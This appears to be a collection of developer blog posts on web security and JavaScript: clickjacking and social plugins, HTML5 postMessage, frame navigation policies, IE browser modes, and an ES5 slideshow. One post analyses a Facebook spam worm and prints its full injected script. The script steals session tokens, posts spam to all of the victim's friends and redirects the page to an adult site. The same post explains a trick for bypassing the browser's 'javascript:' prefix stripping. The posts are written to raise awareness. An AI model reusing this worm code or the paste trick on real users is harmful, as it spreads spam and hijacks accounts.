JSFoo Chennai 2012–”JavaScript is mischievous. Handle 3rd party content with care!”

It is always exciting to attend a technical conference focusing on a particular theme and even more if you get the opportunity to present. Continuing their good run, HasGeek has organized JsFoo Chennai 2012, India’s first JavaScript conference series, at IIT Madras Research park. There were several interesting proposals made and mine got voted for the final schedule along with other awesome entries.

My session is about the security considerations one should think of while integrating 3rd party JavaScript content into their site (in other words, security of web mashups). 


Presentation: Click here

Demos: Recursive Mashup Attack and Clickjacking

Learning aside, the best part is, I’ve met several awesome passionate geeks, few whom I know on twitter and few I would have never met otherwise. Loved the event even more, since people working on different platforms and having good expertise in JavaScript came under one roof and discussed. Diverse opinions and lots of learning!!

For those who missed, check JsFoo site for videos of sessions, which will be uploaded shortly. Also, here is an interesting review written by one of the attendees.

Secure Web Messaging in HTML5–Microsoft UG Dev Day

Happy to say that I have presented on this interesting topic at Developer Day organized by Microsoft User Group Hyderabad (MUGH). Not sure if any other monthly User Group meet would attract 150+ audience over a long weekend!


Presentation: Click Here

Demo: Click Here

The half day event went very well with 3 exciting sessions – Coding for fun with Kinect by Abhijit Jana, “I Love HTML5” by Shravan and the above session by me. All the sessions were very interactive and we had a very good technical weekend. Hope the huge turnout continues for rest of the events in the User Group :)

Social plugins-winners of the modern web, with weakness!

Web users don’t need an introduction to Facebook’s “Like” button or Twitter’s “Tweet” button. Along with several such buttons, they help in making online presence more social and hence are called “Social Plugins”. Inserting them into a website is as easy as inserting small chunk of HTML and JavaScript. e.g., The “Like” button can be inserted by following these simple steps in Facebook Developers site. For sure, these buttons changed the way people interact on the web by building rich social graphs based on user’s tastes/interests and made the web more engaging. However, they come with certain problems in which web attackers are interested.


In a way, a social plugin converts a normal web page into a mashup, exporting a site’s data to different domains. As Douglas Crockford says, “A mashup is a self-inflicted XSS attack”. It is more of a work around than a standard and hence have few problems.

(1) Social plugins must be wrapped in iframes:

If the source of these social plugins is inspected using browser’s developer tools, one can find that these buttons are actually wrapped in iframes, for obvious reasons. A script injection attack could otherwise modify the course of action of the like button and do malicious activity. Since an iframe provides a sandboxed environment, external scripts cannot access the DOM within the iframe and hence script injection attacks fail. So if you are a web developer and want to create the next widget/social plugin for your site, iframe should be the "must have” tag.


(2) Framing a site could be dangerous – Clickjacking FTW:

In one of my previous demos, we have seen how Facebook’s “Like” button can be clickjacked (typically called LikeJacking). Iframes, which contain the code for social plugins, themselves are nodes in the parent page’s DOM and scripts can act on them, if not inside them. So in the demo, I have grabbed the x,y coordinates of the iframe containing the “Like” button and changed them dynamically as the mouse moves. Thus one can place any social plugin beneath the user’s mouse cursor and reduce its opacity to zero. The implication is, clicking anywhere on the page means clicking on the social plugin!

imageClickjacking can be countered by using JavaScript based “Frame busting” techniques or configuring X-Frame-Options response header. Using these techniques, a web page which is framed will be forced to come out of the iframe, thereby preventing clickjacking.

The problem: Now, have you sensed the problem? If not, pause and analyze the ideas in (1) and (2). In any case, proceed :)

Here is the problem - As per (1), a social plugin has to be in an iframe to prevent script injections. As per (2), content (typically from an external website) has to be pulled out of iframe to prevent clickjacking. Now both are contradictory ideas.

Inference:- A social plugin cannot exist securely without being wrapped inside an iframe and hence it is always vulnerable to clickjacking!” Alarming!! Isn't it?

(Q) So what if social plugins are vulnerable to clickjacking?

(A) You will continue to see different types of spams on social networking sites due to ignorant clicks of users on hidden social plugins. Social networking sites have to depend on algorithms to detect anomalous behaviors, since there is no solution available right now to stop this.

Further, this can lead to new types of web based attacks. One such possibility is explored by researchers at Carnegie Melon University. They demonstrated how social network users can be de-anonymized using clickjacking, which is an interesting case study.  

Hope the article helped in understanding the technical flaw with which most websites are living. I have been experimenting on these lines and came up with yet another interesting case study. More about it in my subsequent blog posts. Happy learning!

Hack Your Way with the F12 Developer Tools-Virtual TechDays 2011

Happy to say that I have presented at Microsoft Virtual TechDays 2011 in Developer's Track. It was a 3 day online technical event (Dec 14-16, 2011) with ~75 sessions from 84 Industry experts on Microsoft technologies.

My session is titled "Hack Your Way with the F12 Developer Tools". The developer tools that come with Internet Explorer 9 are a powerful aid to solving compatibility, network, script profiling, and performance issues; debugging code; managing HTML and CSS; editing on the fly and validating markup; and last but not least, inspecting HTML, CSS and JavaScript.

Presentation: Click here

Though I could not meet developers in person, I enjoyed presenting a demo filled session, which I hope would be useful for developers. Happy learning!

Analyzing the new “Rihanna” Facebook spam

rihanna-7Some of you might have seen a fast spreading spam on Facebook with the name “Rihanna” (named after the popular singer/recording artist), as in the screen shot. We have been seeing several spam messages on Facebook these days and it appears this is yet another social engineering trick by spammers.

However, the speed at which it is spreading definitely boasts about the good success rate of the spam and to its credit, this “wall flooding” spam has some interesting technical learning.

1. This is not based on Clickjacking, though a non-clickable video icon appears misleading.

2. Unlike many spams, this does not leave facebook.com and navigate to a new domain. It spreads through facebook pages itself, which is convincing.

3. It lures the user to paste code in browser’s address bar convincingly (old wine in new bottle).

Overview: On clicking the spam post (link is in the above screenshot), the user will be redirected to attacker’s facebook page as shown in the screenshots below. Initially a youtube like video appears (this is a “.swf” file which plays the key role). After a few seconds, It changes itself into a “security check” text with “continue” button as in the pic. On clicking the “continue” button, the 3 convincing instructions appear, following which a malicious JavaScript is injected into the active window. The injected malicious script posts the above message and obscene images on the wall of ALL friends of the user!


Technical details:

Once the user follows all the instructions, the JavaScript snippet shown below is injected into the browser, which has “src” attribute pointing to the actual malicious .js file (masked the url in the screenshot & snippet). In fact, this is a commonly used technique for creating bookmarklets and adding them to your browser’s bookmarklet toolbar. When used maliciously for attracting users to perform undesirable action, it is referred to as “Socially engineered XSS attack”. 


This .js file has the logic for doing all the harm but there doesn’t end the matter. The unanswered questions are, how did this script get into user’s clipboard? The user never copied any code snippet manually and browsers’ sandbox model doesn’t allow cross domain JavaScript to access clipboard without explicit permission. Also, what is the need for the inquisitive instruction “Press J on your keyboard”?

1. On analyzing the source of the above facebook page using browser developer tool bars (IE Dev toolbar, Firebug etc), one can see an iframe which points to attacker’s external website (looks like the attacker maintains several malicious domains).

2. Now, inspecting the source of the attacker’s external webpage shows that it embeds a flash (.swf) file which mimics genuine youtube video.

3. Going a step further, inspecting the source of this “.swf” file (using one of the online flash decompilers) gives the code which does the actual harm! It has a timer which changes the youtube like image to the security check screen. On clicking the “continue” button, the below action script is triggered, which intuitively sets text to clipboard.

//This is action script code from attacker's ".swf" file.
on (release) {

Notice the first word of the text which is being set into the clipboard, “avascript:”. It is NOT a typo. It should actually be “javascript:” but the letter “j” is omitted for a rather compelling reason!

“JavaScript:” prefix and modern browsers:

Much to the annoyance of spammers, modern browsers implemented a less known but very interesting security feature. Any code with “JavaScript:” prefix pasted into the address bar will get the prefix stripped off, thereby preventing script execution. Internet Explorer 9 pioneered this and recently other browser vendors came up with their own implementations.

//Copy this JavaScript snippet, open IE9 and paste in address bar.
//You will notice that the "javascript:" prefix will be magically stripped off!

Coming back to the “.swf” file, to bypass the above browser defense mechanism in some popular browsers, the letter “J” of JavaScript is omitted while setting the script to clipboard. So the spammers cleverly asked the users to first press the letter “J” and then press “Ctrl+V” and hit enter. This completes the full snippet with “javascript:” prefix thereby bypassing prefix stripping. Isn’t this smart? Though this extra step is expected to reduce success rate of attacks, it somewhat increased the curiosity of users.

NOTE: Internet Explorer 9 doesn't even allow combinations like typing "j" and pasting "avascript:alert('hi');" in the address bar. So this attack will fail in IE9! YaY!!

Chrome 16.0.912.41 in my machine strips the "javascript:" prefix when "javascript:alert('hi');" is pasted directly, but allows typing "j" and pasting "avascript:alert('hi');".

For the curious folks, here is the entire JavaScript code injected by the attack. It executes in the context of user’s facebook window with full previleges!

var post_form_id = document['getElementsByName']('post_form_id')[0]['value'];
var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/profile/composer.php?__a=1';
var paramswp = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u3bbpq_21&xhpc_targetid=' + user_id + '&xhpc_context=profile&xhpc_location=&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=1&xhpc_message_text=HEY%20CHECK%20THIS%20OUT&xhpc_message=HEY%20CHECK%20THIS%20OUT&aktion=post&app_id=2309869772&attachment[params][0]=156861974410959&attachment[type]=18&composertags_place=&composertags_place_name=&composer_predicted_city=102186159822587&composer_session_id=1320586865&is_explicit_place=&audience[0][value]=80&composertags_city=&disable_location_sharing=false&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest&__user=' + user_id + '';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
if (gf['readyState'] != 4) {} else {
data = eval('(' + gf['responseText']['substr'](9) + ')');
if (data['error']) {} else {
friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
return _0x93dax8['index'] - _0x93dax9['index'];
for (var i = 0; i < friends['length']; i++) {
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/profile/composer.php?__a=1';
var paramswp = 'post_form_id=' + post_form_id + '&fb_dtsg=' + fb_dtsg + '&xhpc_composerid=u2qr0v_15&xhpc_targetid=' + friends[i]['uid'] + '&xhpc_context=profile&xhpc_location=&xhpc_fbx=1&xhpc_timeline=&xhpc_ismeta=1&xhpc_message_text=Oh%20my%20god%2Ccheck%20this&xhpc_message=Oh%20my%20god%2Ccheck%20this&aktion=post&app_id=2309869772&attachment[params][0]=156861974410959&attachment[type]=18&composertags_place=&composertags_place_name=&composer_predicted_city=102186159822587&composer_session_id=1320585896&is_explicit_place=&audience[0][value]=80&composertags_city=&disable_location_sharing=false&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest&__user=' + user_id + '&';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['onreadystatechange'] = function () {
if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
document['getElementById']('contentArea')['innerHTML'] = '<center><br><br><br><br><br><img src="http://www.hindustantimes.com/images/loading_gif.gif" /><br />Please wait...</center>';
setTimeout('top.location=\'http://free-xx-xx.info/play-video.php\';', 20000);

There are several variants of this spam residing at different URLs in facebook pages. Facebook has been blocking these variants one by one and by the time of writing this post even the url in the pic is blocked.

Hope this article helped in understanding how spammers think and gave a feel of the damage that can be done by simple games/apps on the web, if you are not careful. Do share this with your friends and increase awareness.

Happy & secure browsing :)

It is this easy to steal your click!-DevCon 2011

The memories of DevCon 2010, where I presented on “Facebook Apps Development” are still fresh in mind and DevCon 2011 is back! This time I have presented on “Clickjacking”, one of the popular modern web based attacks, using which an attacker can steal user’s click. The session is heavily inspired by the research done by Stanford Security Lab & Internet Explorer Team. It focuses on explaining how users fall prey to clickjacking attacks and what care web developers should take to defend against them.

The event, organized by Microsoft User Group Hyderabad (MUGH), had more than 300 audience and was held at Microsoft Hyderabad campus. 


Presentation: check Slideshare

Demos source code: check GitHub

There were several interesting sessions presented by speakers on cutting edge topics such as Windows Azure, ASP.NET MVC3, Bringing HTML5 experiences to ASP.NET website, Patterns & Practices in C#, SharePoint 2010, SQL Server Denali and Knotting Windows phone 7, Azure & Kinect. The audience were very enthusiastic and interactive, which made the sessions lively. Nice to meet several techies in the event. The learning I had was huge while preparing for this session and answering Q &A :)

The need for HTML5 postMessage API

The postMessage API in HTML5 specification is useful for making cross domain calls across frames. This is typically useful for mashups, Web 2.0 sites (e.g., pageflakes.com) where different widgets might need to communicate with each other.

HTML5 postMessage Demo

Few developers have already started using HTML5 postMessage in their projects, without knowing why they are using. Here are a couple of questions an inquisitive developer might have in mind:

1. How are mashups and rich Web 2.0 applications built even before HTML5 postMessage API came into existence?

2. What is the trust model which Web 2.0 sites have? (Who trusts whom?)

3. Is there really a need for a new API when workarounds met the needs?

This post tries to answer these questions and explains why postMessage API is important. Though the usage of API looks trivial, the birth of this API is the outcome of several insightful research papers, which are also a motivation for this post.

In the screenshot, the web pages loaded in the top window and iframe are from different domains. On clicking the submit button, the message in textbox is sent to iframe and displayed in the last line. Notice that the top window url (http://localhost/postMessage) has a default port number(80), while the iframe has a different port number (81). Hence the site in iframe is treated as that from a cross domain.

HTML5 postMessage API is as simple as the below JavaScript code.

<script language="javascript">
        window.onload = function () {
            win = document.getElementById("ifrDomain2").contentWindow; //get the target iframe window
            frm = document.getElementById("frmPost");  //get the form which needs to post a message
            frm.onsubmit = function (e) {
                msg = document.getElementById("txtMessage").value;  //get the message to be posted from the textbox
                win.postMessage(msg, "http://localhost:81/");  //post the message to the destination URL
                e.preventDefault();  //prevent default action (suppress postback)

Now let us see why such an API is needed in the first place and try to answer the above questions.

Same Origin Policy and Trust Model:

As most of you know, the Same Origin Policy (SOP) of browsers disallows scripts loaded from one origin to access DOM of another origin (Two sites do not belong to same origin if they differ in at least one of the three- protocol, domain name or port number). Due to this, an AJAX call cannot be made from one domain to another domain from a browser. So far so good, since if this policy is not in place, an attacker can make an AJAX call to your site and grab your cookie.

However, the SOP is not applicable to scripts themselves! Developers can always embed script tags which point to different domains (just as we include reference to jQuery or any JS library from CDNs). If there are scripts from multiple sources, the application is not secure. But this is how mashups and most of our web applications are built! Isn’t this ironical? Moreover, the scripts which are loaded from different domains run under the privilege of the host site. So whether it is external script file or JSONP script injection, the developer should have ‘complete trust’ on the scripts being injected.

As Douglas Crockford rightly points, “A mashup is a self-inflicted XSS attack”. It is more of a work around than a standard.

Instead of loading external scripts in an integrated site, an alternative is to use iframes to load external sites. Since iframes provide complete isolation mechanism, aggregating content is secure, but genuine communication between frames goes for a toss.

Most of the modern Web 2.0 sites rely on external JS libraries, AJAX and JSONP techniques for fetching, manipulating content. In this case, communication between widgets (divs) is not a problem since entire DOM is accessible to any script (bad design w.r.t security as discussed above). Sites using iframe for isolating widgets rely on “fragment identifiers” (e.g., yoursite.com#message) for communicating between widgets (has confidentiality but no authentication and integrity). These (flawed?) solutions answer our 1st question.

So the trust model we have is, you as a developer/site owner should either trust all (in case of scripts) or trust none (in case of iframes), but nothing in between. This answers our 2nd question. You may trust the JavaScript provided by Google analytics, maps, facebook widgets etc., but this dependency on ‘trust’ does not scale well.

Browser vs. OS:

The modern web has seen data intensive, rich and interactive web applications, which mimic desktop applications. Mashups, which are applications that combine data from multiple data sources, have changed the boundaries of a web browser. Concepts like Web OS started evolving which guided researchers to draw a parallel between browsers and OS.

  • The “system calls” in OS are analogous to “DOM calls” in browsers
  • “Processes” in OS are analogous to “Frames” in browsers
  • “Disk storage” in OS is analogoius to “cookies, localStorage, IndexedDB etc.” in browsers
  • In an OS, “Users” are the principals (which need to be distinguished), whereas in a browser, “Origins” are the principals.

Browsers, which were designed to handle pages from a single domain at a time are now forced to handle pages/data from multiple domains. In other words, as researchers say, web browsers have evolved from a single-principal platform to multi-principal platform. However, unlike OS which can easily handle multi-user scenarios, web browsers prior to HTML5 postMessage did not have the capability to abstract multi-principal scenarios. Their trust model remained the same as discussed above.

Hence, there is a need for a newer standard supported by browsers, which can securely abstract multiple principals and provide communication between them, thereby improving the trust model (answers 3rd question). There were several recommendations like JSONRequest, Verifiable Origin Policy, CommRequest etc.,as described in the references, for solving these problems and finally, the HTML5 postMessage API came into existence.

//Syntax of HTML5 postMessage
otherwindow.postMessage(message, targetOrigin); //Clearly, the "targetOrigin" parameter improves trust!

The postMessage channel, which is designed for cross site communication, guarantees confidentiality, integrity and authentication and improves trust (A frame can now communicate with a trusted frame by specifying the target). With this standard in place, frames can now be attractive feature to integrate 3rd party content, create widgets with improved trust. It is supported by majority of modern browsers (IE8+, FF3+, Chrome, Safari, Opera 10+).

Hope the article helped in understanding why HTML5 postMessage is needed and possibly pointed out the mistake you are doing by not using it for your requirements. Let us build a more secure and standard compliant web, one website at a time Smile


1. “Securing Frame Communication in Browsers” – by Stanford web security lab

2. “Protection and Communication Abstractions for Web Browsers in MashupOS” – by Microsoft Research & Stanford web sec lab.

Frame navigation policies in web browsers | One big reason why you should get rid of old browsers

Whether you are aware or not, frames are commonly used in most of the websites we use, for various purposes such as widgets in mashups, containers for advertisements, at the least for loading arbitrary documents into web pages. To serve this purpose <iframe> is used, while <frameset> and <frame> which were initially used for navigation are made obsolete in HTML5.

Frames are used primarily to isolate untrusted content such as remote scripts of widgets/ads etc., from interacting with rest of the DOM. Frames comply with Same Origin Policy if they load remote pages. This means, if an iframe is loaded with a page from same domain, it allows DOM manipulations to and from its parent page. Where as if it is loaded with a page from a different domain, it will restrict DOM manipulations and provides an isolated environment. The below code snippets should make this clear.

<!-- This is allowed -->
<iframe src="sameDomainPage.html"> </iframe>
alert(frames[0].contentDocument.body);  //works fine
<!-- This is **NOT** allowed -->
<iframe src="http://google.com"> </iframe>
alert(frames[0].contentDocument.body);  //throws error

As a developer, our knowledge of using frames ends here. We are happy with the secure isolation of content and don’t care beyond. But if we look a little deep into how browsers decide what should go into a frame, the scenario becomes scary!

Frame Navigation-who decides what:

Though the same origin policy of browsers isolates frame content of different domains, it has nothing to do with navigation of frames. i.e., if you know the id of a frame, you can navigate it to a different URL. (The browser window can be considered as a top level frame, having a visible address bar which iframes lack).

//Open google.com/ig and execute this script in console

Did you see the problems here? So if your trusted components are in iframes, what if someone can redirect the frame to a malicious URL? Which iframe has the permission to navigate which  other iframe on a complex mashup page like iGoogle? Even worse, can iframes on a different window/tab navigate the iframes on your page? What about popups? Do you feel the sense of insecurity now?

Well, the fact is, none of these are under the control of web developers. The policies used by browser vendors answer the above questions and developers should know these policies to understand how secure their websites are. Below are the navigation policies used by browsers. These are quite complex to have a deep understanding, so I just mention an outline :

1. Permissive policy: This policy prevailed in all browsers prior to 1999. It simply states that a frame can navigate any other frame. The frames can be in the same window or in different windows. This dangerous policy gave rise to what are called “Cross window attacks”. Several sites like CitiBank kept their password fields in iframes for secure sandboxing. So, an advertisement in another window or a popup containing malicious script can redirect the password frame to an evil frame  and grab credentials! IE6, Safari 3 and Flash by default used permissive policy.

2.  Window policy: Starting 2001, browsers implemented  a new policy called window policy, in order to prevent the cross window attacks. As per this, a frame can navigate frames in its own window and hence external popups/ads cannot affect frames of a different window. However, this gave rise to new line of attacks called “Same window attacks”. Using this policy, advertisements in the same window or evil gadgets (widgets)  in mashups (e.g., iGoogle) can redirect legitimate gadgets to malicious URLs. So Gadget hijacking became the fashion of the day due to this policy. Firefox 2 and Opera 9 followed this policy which is dangerous to work with today’s gadget rich Web 2.0 applications.

3. Child Policy: This is a stricter policy, which says that a frame can navigate only its direct child. IE6 team wanted to enable this by default but did not since majority of the existing sites are not compatible with this. Such a strict implementation will prevent even the navigation of legitimate frames which are from same origin as the parent. So this policy could not be implemented.

4. Descendant policy: This is another stricter policy which was designed by IE7 team and it provides the best trade-off between security and compatibility. As per this, a frame can navigate only its descendants. So this prevents the cross window as well as same window attacks. HTML5 working group has standardized this policy

Frame navigation policies in browsersThe above picture explains the policies better. The outer blue box is the browser frame, the inner blocks are iframes and the arrows indicate who can navigate the content of what. Notice that child policy is a subset of descendant., descendant is a subset of window., window is a subset of permissive policies.

All modern browsers (IE8+, FF3+, Safari 3+, Opera >9) follow the descendant policy to navigate frames and hence are more secure than their older  counterparts. This is one of the several hundred reasons why you should get rid of older browsers when you use modern web 2.0 applications.

While we discussed about frame navigation so far, the next problem is how do legitimate frames communicate with legitimate content. e.g., communication between partner gadgets in a mashup. Though there are hacks like using fragment identifier or APIs like HTML5 postMessage, attacks like Reply attack, Recursive mashups attack are made possible with a good understanding of these policies. I shall cover on these and few more interesting scenarios in my upcoming posts e.g., what happens if your website can be framed by attackers and leverage descendant policy for backdoor communication?

Reference: The Stanford security researchers have published an excellent research paper-"Secure Frame Communications in Browsers (pdf)", which is the motivation for this post. Due credits to the authors. Suggest you to go through it for better picture.

Happy secure coding :)

The why and how of "Document mode" and "Browser mode" in Internet Explorer

Web developers who are using IE9 might have already played with the new F12 developer tools and have seen "Browser mode" and "Document mode". For those of you who haven't explored, the  are the menu options which you can find in the developer tools of IE8/IE9 (hit F12 key and check). These are basically useful to test and make sure that your site runs well in various versions of IE.

IE9 modes

Web developers use browser and document modes frequently, yet not many know how these two differ and when to use what. e.g., If you are using ECMAScript 5 object model (which is supported in IE9) and want to have fallback options in lower versions, what would you use to test? Browser mode or Document mode? In the first place, why should there be two such options in the F12 tools and how did they evolve?

This post tries to answer the above questions and help web devs ease their exploration. Before looking at when to use these options, let us dig back into the sweet history and see how these modes evolved. I'm sure this would make the modern day (drag/drop day?) web developers understand their responsibility in building a web of standards!

Doctype, Quirks mode, Standard mode: 

The entire concept of different browsing modes originated in March 2000, when Internet Explorer-5 (IE5) for Mac was released. It was supposedly the most standard compliant browser at that time (better than IE5 for Windows). It was following standards so seriously that all the legacy, handcoded webpages of that time broke. Microsoft innovatively solved this issue by looking at "Doctype". Pages which had a valid doctype directive were rendered as per latest web standards by browsers (Standard Mode). Else, they were rendered as per the quirks/vendor specific implementations of late 90s (Qurik's Mode). This idea was implemented by most of the major browsers and it existed till date.  Hence evolved the "Standards Mode" and "Quirks Mode".

e.g., This is how XHTML1.0 Doctype looked like:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
W3c has a very useful page on why you should follow web standards (make sure your manager reads this!)

With HTML5, the Doctype got over simplified!: <!DOCTYPE html>

The Doctype tells the browser about the version of markup used and instructs it what rules it should follow to render the content (e.g., ignoring deprecated tags, allow/disallow framesets etc).

So, the issue of distinguishing pages which follow standards from those which do not follow got resolved. However, browser specific quirks still existed, which would create a bigger problem.

User-agent string and Browser detection:

While some of the websites designed in early 2000 slowly adapted to doctype and standards mode, a majority of them targeted proprietary features and maintained different pages for IE and Netscape, for the same site. This is done using a technique called Browser Detection. As the name suggests, a web server can detect the browser used to send a HTTP request. This info is sniffed from a string in the HTTP header of a HTTP request, called the User-Agent.

E.g., The user-agent string for IE8 looks like:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)

and the user agent for Firefox 5.0 looks like:
Mozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0

Since the user-agent string is sent in HTTP request, it can be queried on the server, e.g., in ASP.NET using C#, as:

String userAgent;
userAgent = Request.UserAgent;
if (userAgent.IndexOf("MSIE 6.0") > -1)
   // This browser is IE 6.0.

Even today, many websites use browser detection via user-agent not only for browser compatibility, but also for other reasons like preventing web crawlers from making expensive database calls, denying permission to very old browsers for security/business reasons etc.

Browser detection via user-agent string helped in distinguishing different browsers and handling their quirks. However, developers don't yet have a chance of saying that they are not ready to migrate to a newer version, or they want to target only a specific version of IE till they migrate.

Document Compatibility:

On one hand, while web developers followed web standards/browser specific tweaks, new versions of IE came in, fixing lot of existing bugs, introducing newer features and supporting several W3C standards. IE6 did not support the universal selector ('*'), while IE7 added this support. The standards mode of IE7 replaced the standards mode of IE6, which forced developers to migrate their sites to IE7 standards mode. This became a problem, since there is no way of targeting a specific version of IE, as they are unsure if a better standard in a newer version of browser might break their code.

When IE8 was released, it introduced the concept of document compatibility, which provides an option to developer to specify the version of IE that they intended to support. Taking into consideration the large userbase of IE and millions of web pages which already existed with version specific tweaks, this was a welcome change. Developers can specify the version they want to target via an X-UA-Compatible header in meta tag, like:

  <!-- Respects Doctype directive and renders in Internet Explorer 8 standards mode-->
  <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
  <title>My webpage</title>

In JavaScript, the document mode can be found using: alert(document.documentMode);

The whole idea of compatibility mode is NOT to ask developers to target specific version. Instead, it is in support of "Don't break the web" clause. This way, developers can take time to follow proper web standards (without depending on version specific quirks) and migrate to latest browsers, without breaking their site.

How F12 Developer tools help:

Having understood the background so far, it is obvious that developers/businesses have a tough time in supporting rapidly evolving standards, meet the quirks of existing browsers without compromising on business functionality.

Browser mode: To test for different versions of IE, the "Browser mode" option in F12 tools can be used. It sets the user-agent string to the browser mode option which is chosen and sends HTTP request to the server (this is a full postback). The site then responds with an appropriate document type, based on the doctype and X-UA-Compatible header.

So, if you select IE8 browser mode, IE will present the page in a way which IE8 user experiences. Also, since the user-string is sent in HTTP request to the server, the browser detection code written in C# (as seen in the above section) works and all server side manipulations can be done.

Document mode: The document mode essentially decides the mode in which IE's rendering engine (Trident) should display the markup. In other words, changing the document mode in F12 tools will have exactly the same effect as specifying your own X-UA-Compatible header in your web page. The main difference from browser mode is, when document mode is changed, there will NOT be a fresh request to the server and hence the user-agent string will NOT be sent. Its only that the rendering engine displays content according to your choice.

Bonus: The F12 tools also provide an option to test your site in different browsers. Harish Ranganathan wrote a recent blog post on changing user agents.

Few tips:

(1) Use <!DOCTYPE html> directive as a standard for your web pages. It is backward compatible and also makes your site HTML5 enabled.

(2) Do not use browser detection. Use feature detection instead.

(3) Use X-UA-Compatible header only till you make your site standards compliant. Get rid of it at the earliest so that your site can scale along with modern standards/browsers.

(4) Use libraries like Modernizr for feature detection, instead of borrowing buggy JS code from the internet.

References worth reading:

(1) Why IE5/Mac matters-AlistApart

(2) IE8 Document & Browser mode-Nicholas Zakas

(3) Testing sites with Browser mode vs Document mode-IE Blog

(4) Understanding User-Agents-IE Blog

Create your own web based slide shows in ECMAScript 5

Web based slide shows (built using HTML, JS, CSS) have always been my choice and I use them most of the times in my presentations. This post explains how you can create your own web based slide show from scratch, using ECMAScript 5 (ES5). In fact, this is the code walkthrough of my presentation on ECMAScript 5 at TechEd on the Road.

Note that while you can always build the same by the non-ES5 way, I am using ES5 just to highlight the new object model and other features which are very much useful.

Final product: Check my presentation on ECMAScript 5.

Source Code: Check my GitHub repo and use it as you like.

There are a lot of existing solutions which can be used straight away, but I made the above presentation to meet the following requirements:

  (1)  Demonstrate the power of ECMAScript 5 with a live demo, using the presentation itself

  (2)  Load my slides asynchronously (the existing solutions have all slides in a single file which makes the presentation heavy).

  (3)  Run code snippets within the presentation itself, so that I need not switch windows for demos.

You can have a quick look at the directory structure at my GitHub repo.

The index.html file is the one which loads initially. Each slide is a 'html' page containing basic <ul>, <li> tags and all slides are located in the 'slides' folder. The idea is to load these files via AJAX using jQuery. The 'CSS' folder contains the images and styles needed for styling the presentation.

The most important components are the JavaScript files located in the 'js' folder. I have used jQuery and a plugin for the slideshow effect. You may use the jQuery presentation plugin for the sliding effect or use mine (a tweaked version to suit my requirements). Just download the entire directory and modify the html files in 'slides' directory and the 'images' for an instant presentation.

Digging into the code:

The entire logic of the presentation is in the common.js file (here it is on github). I suggest you to switch between the source code and this article for better understanding. I have used my favorite "Revealing module pattern" to keep the code clean and maintainable(refer my JS design patterns article for more info). This pattern is good for encapsulating private variables and reveal only the required one's in the 'return' object.

Here is the basic structure of my self-executing anonymous function: 

var $es5 = (function ()
    var myPrivateVariable;
var foo=function () { /* blah blah.. */ };
var bar=function () { /* blah blah.. */ };
return {  init: foo }

So $es5().init(); will execute foo(). You can return 'this' in each function and chain in jQuery style. Skipping the internals, as it is out of scope now. 

Checking for ECMAScript 5 browser support: 

Before implementing ES5 code, we have to check if browser supports ES5 standards or not. A simple test is to see if the new ES5 object properties are available:

    if (!Object.defineProperties || !Object.defineProperty) { /*Browser does not support ES5. Return */ }

Freezing your JS code:

One nice feature of ES5 is that you can freeze your objects after creating them. This means, your code cannot be tampered by script injection once it is freezed.

  $es5.init(); //invoke the  $es5 function & create an instance.

  Object.freeze($es5); //freezing the object using ES5.

Iterating using ES5 'forEach' method:

JavaScript cannot access file system as a security measure and we cannot read the markup from our html slides. So the trick to do our task is store our html file names in a string array, iterate through the array and load the files via AJAX. For iteration, we can use the ES5 'forEach' method, which will help us in avoiding pointer variables like 'i', 'j' in for loops.


Using ES 5 getters and setters:

Another beauty in ES5 is you now have getters and setters similar to languages like C# and Java. Let us create a 'slideTemplate' object, which can be inherited by other objects in future. The idea is to have a setter method called 'path', which will accept a URL and generate some markup. The getter method 'content' will return the markup generated by the setter.

   var slideTemplate = {        
        content: {                  
            get: function () {    /* return markup; */   }       
       path: {            
           set: function (url) {  /* load slides via AJAX */    }        

Loading slides via AJAX:

Now, we need to use the setter method for loading our slides into our main page. Instead of appending each slide to the DOM (bad for performance), we can create a document fragment in JavaScript like:

    var slideFrag = document.createDocumentFragment();

We need to load markup using jQuery's $.ajax into 'slideFrag' and finally add it to a container in index.html.

Creating a new slide using ES5:

Here comes the most beautiful part of ES5. You can create plain vanilla objects or inherit from existing objects using "Object.create" method. The 'slideTemplate' object which we created above can be inherited to create new objects. To put it in real sense, the new object we are creating is in fact a new slide! Isn't this real object oriented programming?

    var newSlide = Object.create( {}, slideTemplate);   
    newSlide.path = url;        //setter gets invoked!
    container.append(newSlide.content); //getter gets invoked!

To summarize, we are basically iterating over our array of html file names. For each file name, we are creating a new object and assigning a URL. On assignment of the URL, the setter gets invoked and loads markup from remote content via AJAX into a document fragment. Then we are appending the document fragment to the container using the getter.

Inline demos: That's easy to figure out from the code. So leaving it to you, the reader :)

Hope the article helped in understanding how to use some of the new feautres ECMAScript 5. Play around with the code and let me know if you can improve it better.

Happy coding :)